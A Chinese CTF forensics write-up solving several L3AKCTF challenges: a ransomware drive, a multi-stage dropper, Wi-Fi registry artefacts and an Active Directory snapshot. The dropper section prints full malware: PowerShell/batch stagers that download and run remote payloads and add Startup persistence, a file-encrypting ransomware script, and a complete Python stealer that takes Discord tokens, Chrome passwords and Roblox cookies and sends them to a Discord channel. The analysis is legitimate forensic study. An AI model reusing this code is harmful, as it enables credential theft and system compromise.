L3AKCTF(复现)

Ghost In The Dark

1
2
3
4
5
6
7
8
9
A removable drive was recovered from a compromised system. Files appear encrypted, and a strange ransom note is all that remains.

The payload? Gone.

The key? Vanished.

But traces linger in the shadows. Recover what was lost.

Password to open zip - L3akCTF

给了一个GhostInTheDark.001 的文件,rstudio打开发现

image-20250715095359572

有这些文件貌似和flag有关,其中被删的文件中,loader.ps1包含一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

分析代码后得知,这是一系列powershell命令,它使用硬编码的 AES 密钥和初始化向量值来解密加密的L:\payload.enc(先解base64),然后动态执行解密后的内容,执行完毕后,脚本自动删除自身文件

遂我们用cyberchef手动解密payload.enc

image-20250715100602837

得到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

# Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
$_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
$plaintext = Get-Content $file.FullName -Raw
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
Remove-Item $file.FullName
}

# Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

解密即可得到

image-20250715101021775

L3AK{d3let3d_but_n0t_f0rg0tt3n}

BOMbardino crocodile

1
APT Lobster has successfully breached a machine in our network, marking their first confirmed intrusion. Fortunately, the DFIR team acted quickly, isolating the compromised system and collecting several suspicious files for analysis. Among the evidence, they also recovered an outbound email sent by the attacker just before containment, I wonder who was he communicating with...The flag consists of 2 parts.

打开给的邮件

image-20250715152316296

发现有一个discord的连接,在其中发现了加密的旗帜文件、一个空的密码档案以及受害者的元数据。

image-20250715153258921

另外在给的压缩包中,有crustacean用户的downloads中有

image-20250715153822487

lil-l3ak-exam.pdf中有

image-20250715154409064

这个链接是http://192.168.174.132:1234/seetwo/Lil-L3ak-secret-plans-for-tonight.zip

压缩包的内容是Lil L3ak secret plans for tonight.bat,010直接打开发现是一堆中文,于是用winhex打开

image-20250715155046523

由于文件开头带有 FF FE 字节顺序标记(BOM),编辑器会将其识别为 UTF-16LE 编码的文件,因此显示为中文字符。移除 BOM 并删除未使用的 echo 命令后,打开发现,在一堆字母混淆后得到了一个可读的第一阶段脚本。

image-20250715155727381

1
start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

该脚本从 GitHub 下载了一个文件(当前无法访问),所以我们需要在 Temp 文件夹中找到下载下来的批处理文件。

image-20250715160144572

同样使用了 BOM 技术进行了混淆。清理后,我们得到了第二阶段的脚本。

1
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

ai分析一下

  1. 隐藏运行

    start /min powershell.exe -WindowStyle Hidden

    → 以最小化/隐藏窗口启动PowerShell,避免用户察觉。

  2. 绕过安全协议

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

    → 强制使用TLS 1.2协议(可能用于绕过旧系统的下载限制)。

  3. 下载可疑文件(启动项植入)

    DownloadFile('https://github.com/.../ud.bat', '%APPDATA%\\...\\Startup\\WindowsSecure.bat')

    → 从GitHub下载ud.bat,保存到系统启动目录WindowsSecure.bat)。

    危害:系统重启时会自动运行此脚本,实现持久化攻击。

  4. 下载压缩包(恶意载荷)

    DownloadFile('https://www.dropbox.com/.../T602.zip?...', 'C:\\Users\\Public\\Document.zip')

    → 从Dropbox下载T602.zip到公共目录(链接含动态密钥rlkey,逃避检测)。

  5. 解压ZIP文件

    [System.IO.Compression.ZipFile]::ExtractToDirectory(...)

    → 将压缩包解压到C:/Users/Public/Document

  6. 延迟执行

    Start-Sleep -Seconds 60

    → 等待60秒,可能规避沙箱检测或等待安全软件放松监控。

  7. 执行未知Python脚本

    C:\Users\Public\Document\python.exe ...\leak.py

    → 调用压缩包内的python.exe(非系统自带),运行leak.py脚本。

    高风险leak.py可能执行数据窃取(如键盘记录)、内网扫描、加密勒索等操作。

  8. 清除痕迹

    Remove-Item 'C:/Users/Public/Document.zip' -Force

    → 删除ZIP压缩包,掩盖下载来源。

image-20250715162103136

同样的,这个也采用了同样的BOM混淆,去混淆后发现

image-20250715171928830

进行了字符串混淆,整个py脚本即可解密

1
2
3
4
5
6
7
8
encoded=""" """
import re

mapping={'cb':'','ts':'','cv':'"','ms':'-','gt':'.','ax':'/','nc':'0','bs':'3','tc':'4','ch':':','wj':'A','rd':'B','ui':'C','jl':'D','vv':'H','hp':'K','cm':'L','rz':'P','kv':'S','ym':'U','uj':'W','dt':'\\','up':'_','qx':'a','da':'b','qf':'c','bl':'d','ke':'e','fn':'f','jq':'g','ea':'h','lc':'i','ln':'j','wc':'k','nt':'l','zm':'m','pm':'n','hr':'o','xv':'p','bi':'q','ae':'r','eh':'s','og':'t','zk':'u','vf':'v','jm':'w','sf':'x','gp':'y','ny':'z','xe':'{'}

matches = re.findall(r'%(\w+)%', encoded)
decoded = ''.join([mapping.get(m, '?') for m in matches])
print(decoded)

image-20250715172728203

得到前半段flagL3AK{Br40d0_st34L3r_

然后再去看一下leak.py,上来就是一大堆的混淆干扰,尝试搜索exec,找到关键部分

image-20250715163309818

用cyberchef解密,以下为recipe

1
2
3
4
5
Label('a')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Reverse('Character')
From_Base64('A-Za-z0-9+/=',true,false)
Conditional_Jump('import',true,'a',100)

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
defined = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < defined:
return f"{bytes:.2f}{unit}{suffix}"
bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
'Discord': roaming + '\\Discord',
'Discord Two': roaming + '\\discord',
'Discord Canary': roaming + '\\Discordcanary',
'Discord Canary Two': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
Directory += '\\Local Storage\\leveldb'
Tokens = []

for FileName in os.listdir(Directory):
if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
continue

for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for Token in re.findall(regex, line):
Tokens.append(Token)

return Tokens

def Wipe():
if os.path.exists(roaming + "temp.txt"):
output2 = open(roaming + "temp.txt", "w")
output2.write("")
output2.close()
else:
pass

realshit = ""
for Discord, Directory in Directories.items():
if os.path.exists(Directory):
Tokens = Yoink(Directory)
if len(Tokens) > 0:
for Token in Tokens:
realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
break
except PermissionError:
continue

system_info = {
"embeds": [
{
"title": f"Hah Gottem! - {host}",
"color": 8781568
},
{
"color": 7506394,
"fields": [
{
"name": "GeoLocation",
"value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
}
]
},
{
"fields": [
{
"name": "System Information",
"value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
}
]
},
{
"color": 15109662,
"fields": [
{
"name": "CPU Information",
"value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
},
{
"name": "Memory Information",
"value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
},
{
"name": "Disk Information",
"value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
},
{
"name": "Network Information",
"value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
}
]
},
{
"color": 7440378,
"fields": [
{
"name": "Discord information",
"value": f"Token: {realshit}"
}
]
}
]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
path += '\\Local Storage\\leveldb'

tokens = []
try:
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue

for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
except:
pass


def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)


def rcipher(key):
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
return cipher


def dpapi(encrypted):
import ctypes
import ctypes.wintypes

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]

p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result


def localdata():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
encoded_key = localdata()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = rcipher(key)
return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
def __init__(self):
self.passwordList = []

def chromedb(self):
_full_path = os.path.join(ADP, DBP)
_temp_path = os.path.join(ADP, 'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path, _temp_path)
self.pwsd(_temp_path)

def pwsd(self, db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.cdecrypt(row[2])
_info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def cdecrypt(self, encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = decryptions(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
pass

def saved(self):
try:
with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
f.writelines(self.passwordList)
except WindowsError:
return None

@bot.event
async def on_ready():
print(f'Logged in as {bot.user}')

channel = bot.get_channel(CHANNEL_ID)
if not channel:
print(f"Could not find channel with ID: {CHANNEL_ID}")
return

main = chrome()
try:
main.chromedb()
except Exception as e:
print(f"Error getting Chrome passwords: {e}")
main.saved()

await exfiltrate_data(channel)

await bot.close()

async def exfiltrate_data(channel):
try:
hostname = requests.get("https://ipinfo.io/ip").text
except:
hostname = "Unknown"

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

message = '\n'
for platform, path in paths.items():
if not os.path.exists(path):
continue

message += '```'
tokens = sniff(path)

if len(tokens) > 0:
for token in tokens:
message += f'{token}\n'
else:
pass
message += '```'

try:
from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)

with open(screenshot_path, 'rb') as f:
image_data = f.read()

key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)

encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
f.write(encrypted_data)

await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

except Exception as e:
print(f"Error taking screenshot: {e}")

try:
zname = r'C:\ProgramData\passwords.zip'
newzip = zipfile.ZipFile(zname, 'w')
newzip.write(r'C:\ProgramData\passwords.txt')
newzip.close()

await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
except Exception as e:
print(f"Error with password file: {e}")

try:
usr = os.getenv("UserName")
keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
except Exception as e:
print(f"Error getting system info: {e}")
usr = "Unknown"
keys = "Unknown"
types = "Unknown"

cookie = [".ROBLOSECURITY"]
cookies = []
limit = 2000
roblox = "No Roblox cookies found"

try:
cookies.extend(list(steal.chrome()))
except Exception as e:
print(f"Error stealing Chrome cookies: {e}")

try:
cookies.extend(list(steal.firefox()))
except Exception as e:
print(f"Error stealing Firefox cookies: {e}")

try:
for y in cookie:
send = str([str(x) for x in cookies if y in str(x)])
chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
for z in chunks:
roblox = f'```{z}```'
except Exception as e:
print(f"Error processing cookies: {e}")

embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
embed.add_field(name="Tokens", value=message[:1024], inline=False)

await channel.send(embed=embed)

with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
json.dump(system_info, f, indent=4, ensure_ascii=False)

await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

try:
os.remove(r'C:\ProgramData\pay2winflag.jpg')
os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
os.remove(r'C:\ProgramData\passwords.zip')
os.remove(r'C:\ProgramData\passwords.txt')
os.remove(r'C:\ProgramData\system_info.json')
except Exception as e:
print(f"Error cleaning up: {e}")

BOT_TOKEN = "token"
CHANNEL_ID = 1371505369230344273

if __name__ == "__main__":
bot.run(BOT_TOKEN)

功能分析如下:

  1. 系统信息收集 (system_info):
    • 地理位置信息:公网 IP、城市、地区、时区、国家代码
    • 系统数据:主机名、操作系统详情、CPU/内存/硬盘/网络使用情况
    • 硬件标识:MAC 地址、Windows 产品密钥
    • 截图功能:全屏截图后使用 RC4 加密(密钥:tralalero_tralala
  2. 凭证窃取:
    • Discord 令牌窃取:
      • 扫描多个浏览器的 leveldb数据库(Chrome、Opera、Brave 等)
      • 使用正则提取 Discord 登录凭证(包括 MFA 令牌)
    • 浏览器密码窃取:
      • 解密 Chrome 存储的密码(使用 Windows DPAPI 和 AES-GCM)
      • 通过 SQLite 读取 Login Data文件
      • 保存到 C:\ProgramData\passwords.txt
    • Cookie 劫持:
      • 窃取 Chrome/Firefox 的 ROBLOSECURITYCookie(Roblox 账户凭证)
  3. 数据外传机制:
    • 通过 Discord bot 发送收集的所有数据
    • 发送目标:硬编码的频道 1371505369230344273
    • 使用 bot token: token(放不出来)
    • 数据打包形式:
      • JSON 格式的系统报告 (system_info.json)
      • 压缩的密码文件 (passwords.zip)
      • 加密的屏幕截图 (pay2winflag.jpg.enc)
  4. 反检测策略:
    • 临时文件清理:运行后删除 C:\ProgramData 下的所有痕迹
    • 虚假功能:截图加密后勒索赎金(”Pay $500 for the key”)
    • 多源数据收集:组合系统 API、注册表、网络服务提升成功率

其中,在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
try:
from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)

with open(screenshot_path, 'rb') as f:
image_data = f.read()

key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)

encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
f.write(encrypted_data)

await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

得知如何加密图片,这样即可解密最开始得到的加密图片

image-20250715171322003

得到后一半flag

最终flag

L3AK{Br40d0_st34L3r_0r_br41nr0t}

Wi-Fight A Ghost? Wi-Fight A Ghost?

1
2
3
A Ghost never stays in one place for long. We have been hunting one and intercepted his device after a recent op. We believe it holds clues to his movements across the city.

Your task is to retrace his footsteps. Analyze system artifacts, browser history, and wireless configurations

1.What was the ComputerName of the device?

99PhoenixDowns

取证软件秒了,当然也可以去翻注册表

image-20250720145109533

计算机名称信息可以在 SYSTEM hive 中找到。

所有 Local Machine hive(HKLM)位于以下路径:

1
C:\Windows\System32\config

计算机名可以在以下注册表键中找到:

1
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName

image-20250720161328719

2. What was the SSID of the first Wi-Fi network they connected to?

mugs_guest_5G

image-20250720151937762

同样的,翻注册表也可,Wi-Fi SSIDs 位于HIVE: SOFTWARE,

可以在以下注册表键中找到

1
Microsoft\Windows NT\CurrentVersion\NetworkList

3.When did they obtain the DHCP lease at the first café?

2025-05-14 00:13:36

关于 Wi-Fi 的 DHCP 信息详情( DhcpIPAddress DhcpSubnetMask DhcpDefaultGateway LeaseObtainedTime LeaseTerminatesTime ) 位于network interfaces中。

位于:HIVE: SYSTEM

注册表键值:

ControlSet001\Services\Tcpip\Parameters\Interfaces

image-20250720173457350

🤔取证软件没识别出来,识别到的是另一个晚的

4. What IP address was assigned at the first café?

192.168.0.114

由上图可见为192.168.0.114

5. What GitHub page did they visit at the first café?

https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md

取证软件秒了,时间也对的上

image-20250720191929979

6. What did they download at the first café?

ChromeSetup.exe

纵观全场,只有一个下载文件,时间也对的上

image-20250720192735579

7. What was the name of the notes file?

HowToHackTheWorld.txt

根据历史记录,可得

image-20250720193918686

8.What are the contents of the notes?

Practice and take good notes.

文件所在目录文件没给,遂需要去其他可能存储文件内容的地方寻找

知识点:

主文件表(MFT)是 NTFS 文件系统中的一种特殊系统文件。它作为数据库,存储了卷上每个文件和目录的详细信息,包括元数据、文件内容及其在磁盘上的物理位置。

每个 MFT 记录通常大小为 1024 字节(1KB)。

小于约 700 字节的文件通常直接存储在 MFT 记录本身中。这被称为驻留数据。

文件大于这个大小的话,则会被存储在磁盘的其他数据簇中,MFT 记录中会包含指向这些簇的指针。这些被称为非驻留数据。

理解 MFT 如何存储数据对于解答这个问题至关重要。

$MFT 文件位于卷的根目录 C:\$MFT

然后开始解题

image-20250720212920772

本题如果想用MFT加载器加载的话,由于文件过大会比较难加载出来,所以最好是直接搜索关键词

9. What was the SSID of the second Wi-Fi network they connected to?

AlleyCat

之前见到过

10. When did they obtain the second lease?

2025-05-14 00:35:07

之前也有

11. What was the IP address assigned at the second café?

10.0.6.28

image-20250720220242529

之前貌似有

12. What website did they log into at the second café?

http://l3ak.team/

chrome浏览器的历史

image-20250720221109873

13. What was the MAC address of the Wi-Fi adapter used?

48-51-c5-35-ea-53 or 48:51:C5:35:EA:53

image-20250720225116565

image-20250720225206600

14. What city did this take place in?

Fort Collins

image-20250720230658372

根据时区确定国家

在查看系统日志,然后发现了 WebCache 目录:

1
C:\Users\NotVi\AppData\Local\Microsoft\Windows\WebCache

WebCache 存储了 WebCacheV01.dat 数据库和几个日志文件。它的主要目的是缓存浏览数据并跟踪与互联网相关的活动。V01.log 是一个日志文件,与 WebCache.dat 一起使用。

在其中我们发现了

image-20250722154800037

clientlocation,这表明了其缓存时的位置,那么我们大概可以得到答案了

其经纬度为40.57873710006415280 ,-105.07806259349915479

image-20250722160039246

L3ak Advanced Defenders

1
2
3
4
5
6
7
8
9
You have been trying to infiltrate the L3ak office for some time, and your friend just gave you this mysterious snapshot. What information can you glean from it?
For Q4: The format should read "OS, Workstation".
For Q5: This question is asking about "workstations".
Based on the names of the computers you have found,
which of these apply to this question?
For Q7: You only need to place the hex value one time at
the very end of your answer. Example: userl, user2, Oxxxxxx (number of X's not accurate to the answer).
These users will be employees.
For Q12:I apologize there is an error in the solution. If you have found the correct answer, swap the last two values and it will be correct.

010打开发现是一个win-ad-ob文件

image-20250723132921355

1.What is the forest root domain name? Format: prefix.name.suffix

l3ak.ctf.com

使用 Active Directory Explorer v1.52中下载的软件打开即可看见

image-20250723141858286

2.What is the name of the primary domain controller for this domain?

L3AKPRIDC

在森林中,属性 fSMORoleOwner 包含字符串: CN=NTDS Settings,CN=L3AKPRIDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=l3ak,DC=ctf,DC=com ,在该字符串的第二个位置发现了 CN=L3AKPRIDC

在 Active Directory 中,每个域只有一个域控制器能持有 Schema Master 角色。

image-20250723152804456

3. Which hosts have not been assigned to an OU? Format: host1, host2, …

FileSrv03, FileSrvWin11, InternStn

对于没有组织单元(Organizational Unit,OU)的主机,将其放置在 CN=Computers 中,本题中为 FileSrv03, FileSrvWin11, InternStn

image-20250723162150613

4.List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …

Windows 95, InternStn

在计算机 InternStn 中,我们发现了 operatingSystem 和 operatingSystemVersion 这两个属性,两者都表明这是一个非常老的操作系统,是所有列出的计算机中最老的一个。

image-20250723172646079

5.Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …

ITWorkstn02, ITWorkstn03

在 Windows 10 OU 中,发现了 2 个 Red Hat Enterprise Linux,这些操作系统放错了位置,但它们只是测试机器,不是工作站

image-20250723181448942

在其他四个工作站(红框中)中,2和3是win11的,放错了位置

6. Which hosts are no longer used by the organization? Format: host1, host2, …

IT, ITTroubleshootStn, Linux, Repo

CN=Deleted Objects 并仅过滤计算机,我们可以列出带有计算机图标的所有计算机,以了解哪些计算机被使用过

image-20250723201347464

直接找也行

image-20250723201329921***

